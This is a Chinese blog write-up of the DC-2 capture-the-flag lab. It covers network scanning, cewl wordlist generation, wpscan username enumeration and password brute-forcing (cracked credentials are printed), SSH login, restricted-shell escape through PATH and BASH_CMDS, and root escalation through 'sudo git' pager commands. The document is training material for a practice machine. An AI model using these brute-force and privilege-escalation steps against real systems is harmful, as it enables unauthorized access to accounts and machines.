DC-2靶机渗透测试

一、信息搜集

1、arp-scan -l

扫描存活主机,扫描到192.16.219.133

2、nmap -T4 -A -v 192.168.219.133

Did not follow redirect to http://dc-2/
需要DNS解析,在本地设置
vi /etc/hosts
添加 192.168.219.133 DC-2
就可以访问http://dc-2/了

3、dirsearch -u 192.168.219.133 -x 403,404

二、渗透测试

1、进入网站,得到flag1

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

2、使用cewl获取密码字典

cewl http://dc-2/ -w passwd.txt

3、wpscan

// 爆破用户名,获得admin, tom, jerry
wpscan --url http://dc-2/ --enumerate u
// 使用用户名和前面生成的密码字典进行匹配
wpscan --url http://dc-2/ -P passwd.txt -U admin
wpscan --url http://dc-2/ -P passwd.txt -U jerry
wpscan --url http://dc-2/ -P passwd.txt -U tom  

匹配的用户名和密码
	Username: jerry, Password: adipiscing
	Username: tom, Password: parturient
	
根据前面dirsearch的扫描结果,发现登录后台http://dc-2/wp-admin/,使用上面爆破的用户名和密码登录(jerry账户)
进入Page页面,找到flag2
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.

4、根据提示,换个方法登录

可能是ssh登录?
nmap再扫描一遍,结果还是一样
加个参数,-p-全部端口扫描
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
登录
ssh tom@192.168.219.133 -p 7744
ls 发现fag3.txt
vi flag3.txt
flag3:Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

在这里插入图片描述

5、提权

发现自己很多命令无法使用
echo $PATH					// 查看自己命令行在哪
发现自己在/usr/bin(命令行被大幅限制)
ls usr/bin					// 看看自己可以使用哪些命令

// 提权
测试1:BASH_CMDS[a]=/bin/sh		// 按下假盘a就能调用/bin/sh
测试2:/bin/sh						// 直接调用
测试3:
	export PATH=PATH:/bin
	export PATH=PATH:/sbin:/bin	// 把高级权限的命令行加入自己的环境变量
提权成功(可以使用cat等命令)
su jerry					// 提权到jerry
cd ~						// 回到自己的home目录
ls发现flag4.txt
cat flag4.txt
flag4.txt
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

在这里插入图片描述

6、最后提权

// 提示使用git进行提权
// 两个命令都可以,在使用git查看文档的时候可以输入命令(为root权限)
sudo git -p --help
sudo git help config
当下面变白的时候输入
!whoami		发现是root用户
!cd /root
!ls /root	发现里面有flag
!cat /root/final-flag.txt
final-flag
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

horizonTel

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值